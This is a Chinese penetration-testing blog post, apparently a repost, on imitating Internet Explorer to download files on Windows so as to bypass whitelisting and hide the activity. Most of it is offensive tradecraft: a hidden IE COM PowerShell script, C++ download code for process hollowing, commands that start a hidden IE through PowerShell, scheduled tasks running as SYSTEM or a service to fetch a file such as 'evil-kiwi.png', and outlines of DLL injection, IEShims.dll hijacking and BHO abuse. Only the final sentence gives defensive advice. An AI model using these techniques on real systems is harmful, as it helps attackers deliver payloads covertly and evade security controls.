渗透技巧——模拟 IE 浏览器下载文件

发布于 2025-01-09 18:17:34 字数 7248 浏览 9 评论 0

0x00 前言

在之前的文章 《渗透技巧——从 github 下载文件的多种方法》 介绍了通过 cmd 从 github 下载文件的多种方法,选出最短的实现代码(长度为 25)。

本文将站在另一角度,介绍 Windows 系统下模拟 IE 浏览器实现文件下载的方法。

模拟 IE 浏览器实现文件下载不仅能够绕过白名单程序的拦截,而且能在一定程度上隐藏下载行为。所以本文将站在利用的角度介绍具体的利用方法,结合利用方法总结防御思路。

0x01 简介

本文将要介绍以下内容:

  • 模拟 IE 浏览器实现文件下载的多种方法
  • 分析优缺点
  • 总结防御思路

0x02 实现方法

由于方法众多,所以本文做了一个简单分类,整体上分为主动和被动两种模式。 主动模式代表通过命令主动实现文件下载,被动模式代表劫持用户行为,在用户打开 IE 时实现文件下载 其中,主动模式也要做一个区分,分为当前后台进程是否有 IE 浏览器进程 iexplore.exe

具体方法如下:

1、主动模式

(1) 后台无 IE 进程

a) 调用 IE COM 对象

参考链接:https://adapt-and-attack.com/2017/12/19/internetexplorer-application-for-c2/

通过 COM 对象 InternetExplorer.Application 实现文件下载,后台进程为 iexplore.exe

powershell 代码如下:

$ie_com = New-Object -ComObject InternetExplorer.Application
$ie_com.Silent = $True
$ie_com.Visible = $False
$Headers = "Host: <SNIP>.cloudfront.net`r`n"
$ie_com.Navigate2("http://192.168.62.131/index.html", 14, 0, $Null, $Headers)
while($ie_com.busy -eq $true) {
    Start-Sleep -Milliseconds 100
}
$html = $ie_com.document.GetType().InvokeMember('body', [System.Reflection.BindingFlags]::GetProperty, $Null, $ie_com.document, $Null).InnerHtml
$html
$ie_com.Quit();

注:若 IE 从未运行过,执行以上代码会弹框提示

powershell 代码引用自 https://gist.github.com/leoloobeek/f468d34e81795239a8f8bac03646cf59,该页面还包含 cs、js 和 vbs 的实现方法

b) Process Hollowing

创建傀儡进程 iexplore.exe,传入参数 CREATE_SUSPENDED 使进程挂起,清空 iexplore.exe 进程的内存数据,申请新的内存,写入 payload,恢复寄存器环境,执行文件下载

通过 c++实现的文件下载代码如下:

#include <stdio.h>
#include <windows.h>
#include <wininet.h>
#define MAXBLOCKSIZE 1024
#pragma comment( lib, "wininet.lib" ) ;
void download(const char *Url,const char *save_as)
{
  byte Temp[MAXBLOCKSIZE];
  ULONG Number = 1;

  FILE *stream;
  HINTERNET hSession = InternetOpen((LPCSTR)"RookIE/1.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
  if (hSession != NULL)
  {
    HINTERNET handle2 = InternetOpenUrl(hSession, (LPCSTR)Url, NULL, 0, INTERNET_FLAG_DONT_CACHE, 0);
    if (handle2 != NULL)
    {
      fopen_s(&stream, save_as, "wb" );
      while (Number > 0)
      {
        InternetReadFile(handle2, Temp, MAXBLOCKSIZE - 1, &Number);

        fwrite(Temp, sizeof (char), Number , stream);
      }
      fclose( stream );
      InternetCloseHandle(handle2);
      handle2 = NULL;
    }
    InternetCloseHandle(hSession);
    hSession = NULL;
  }
}
int main(int argc, char* argv[]){
  download("https://github.com/3gstudent/test/raw/master/putty.exe","c:\\test\\putty.exe");
  return 0;
}

打开防火墙监控,下载进程为 Internet Explorer,完整测试如下图

Alt text

c) Process Doppelganging

原理上类似于 Process Hollowing,实现思路为打开一个正常文件,创建 transaction;在这个 transaction 内填入 payload,payload 作为进程被启动;回滚 transaction

需要注意的是 Process Doppelganging 需要对正常文件进行写入操作。如果是对 iexplore.exe 进行利用,需要获得 Trusted Installer 权限。

d) 隐蔽启动 IE,访问特定网址,通过缓存获得下载的文件

第一种思路:

cmd 启动 IE,访问网址,通过缓存获得下载的文件

start "C:\Program Files\Internet Explorer\iexplore.exe" http://192.168.62.131/evil-kiwi.png

注:这种方式会打开 IE 的界面,但可通过 API ShowWindowAsync 隐藏 IE 界面,powershell 实现脚本:https://github.com/3gstudent/Writeup/blob/master/HiddenProcess.ps1

第二种思路:

通过 powershell 隐蔽启动 IE,访问网址,通过缓存获得下载的文件

powershell -executionpolicy bypass -Command "Start-Process -FilePath \"C:\Program Files\Internet Explorer\iexplore.exe\" -ArgumentList http://192.168.62.131/evil-kiwi.png -WindowStyle Hidden"

以上两种思路通过 IE 访问网址后,会在如下位置保存缓存文件:

  • Win7: %LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files
  • Win8、Win10: %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE

可使用通配符获得不同系统下缓存文件的路径,命令如下:

dir %LOCALAPPDATA%\*evil-kiwi*.png /s /b

以上两种思路会在 IE 浏览器留下历史记录,历史记录对应路径为: %LOCALAPPDATA%\Microsoft\Windows\History\

该方法的父进程为 powershell.exe,但可以通过 token 复制改变父进程(例如 SelectMyParent、Invoke-TokenManipulation.ps1)

第三种思路:

利用计划任务启动 IE,访问网址,通过缓存获得下载的文件(需要管理员权限)

命令 1:

at  6:34 "C:\Program Files\Internet Explorer\iexplore.exe" http://192.168.62.131/evil-kiwi.png

命令 2:

schtasks /create /RU SYSTEM /RP "" /SC ONCE /TN test1 /TR "C:\Program Files\Internet Explorer\iexplore.exe http://192.168.62.131/evil-kiwi.png" /ST 06:34 /F

由于计划任务的权限为 system,所以用户桌面无法查看启动的 IE 浏览器界面,缓存位置也不同,通用路径为 %windir%\System32\config\systemprofile\AppData\Local\Microsoft\Windows\ 可使用通配符获得不同系统下缓存文件的路径,命令如下:

dir %windir%\*evil-kiwi*.png /s /b

所以使用计划任务打开的 IE 浏览器,不存在历史记录,父进程为 svchost.exe

第四种思路:

创建服务启动 IE,访问网址,通过缓存获得下载的文件

sc create Test1 type= own binpath= "C:\Program Files\Internet Explorer\iexplore.exe"
sc start test1

通过这种方式启动的服务,调用的程序需要能够同 SCM(Services Control Manager) 进行交互,而 iexplorer.exe 不支持这个功能

可通过其他方式创建服务

注:隐蔽启动 IE,访问特定网址,通过缓存获得下载的文件后,需要手动结束 IE 进程

e) 隐蔽启动 ie,进行 DLL 注入(APC、Atombombing)

隐蔽启动 IE 后,对 IE 进程进行 dll 注入,dll 实现文件下载的功能

APC 注入的代码可参考:https://github.com/3gstudent/Inject-dll-by-APC

(2) 后台有 IE 进程

a) DLL 注入(APC、Atombombing)

方法同上,不再赘述

2、被动模式

a) DLL 劫持

这里仅给出一个实例: C:\Program Files\Internet Explorer\IEShims.dll

该 dll 在 IE 浏览器打开时被加载

DLL 开发思路:

可使用工具 exportstoc ,下载地址:https://github.com/michaellandi/exportstoc

生成方法可参考文章:https://3gstudent.github.io/Study-Notes-Weekly-No.1(Monitor-WMI_ExportsToC++_Use-DiskCleanup-bypass-UAC )

原 dll 保留,启动时需要做一个互斥,避免多次启动

b) BHO

利用 BHO(Browser Helper Object) 劫持 IE 浏览器,在浏览器页面打开时实现文件下载。

0x03 小结

综上,模拟 IE 浏览器下载文件的实现方法如下:

(1) 主动模式

当前后台无 IE 进程:

  • 调用 IE COM 对象
  • Process Hollowing
  • Process Doppelganging
  • 隐蔽启动 IE,访问特定网址,通过缓存获得下载的文件
    • 通过 cmd 启动
    • 通过服务启动
    • 创建服务启动
  • 隐蔽启动 IE,进行 DLL 注入(APC、Atombombing)

当前后台有 IE 进程:

  • DLL 注入(APC、Atombombing)

(2) 被动模式

  • DLL 劫持
  • BHO

站在防御的角度,应对主动模式的利用方法,需要注意 iexplore.exe 的父进程是否可疑;应对 DLL 注入和 DLL 劫持,可监控敏感 API 的调用;应对 BHO 对象,可监控特定注册表。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

遇到

暂无简介

文章
评论
26 人气
更多

推荐作者

櫻之舞

文章 0 评论 0

弥枳

文章 0 评论 0

m2429

文章 0 评论 0

野却迷人

文章 0 评论 0

我怀念的。

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文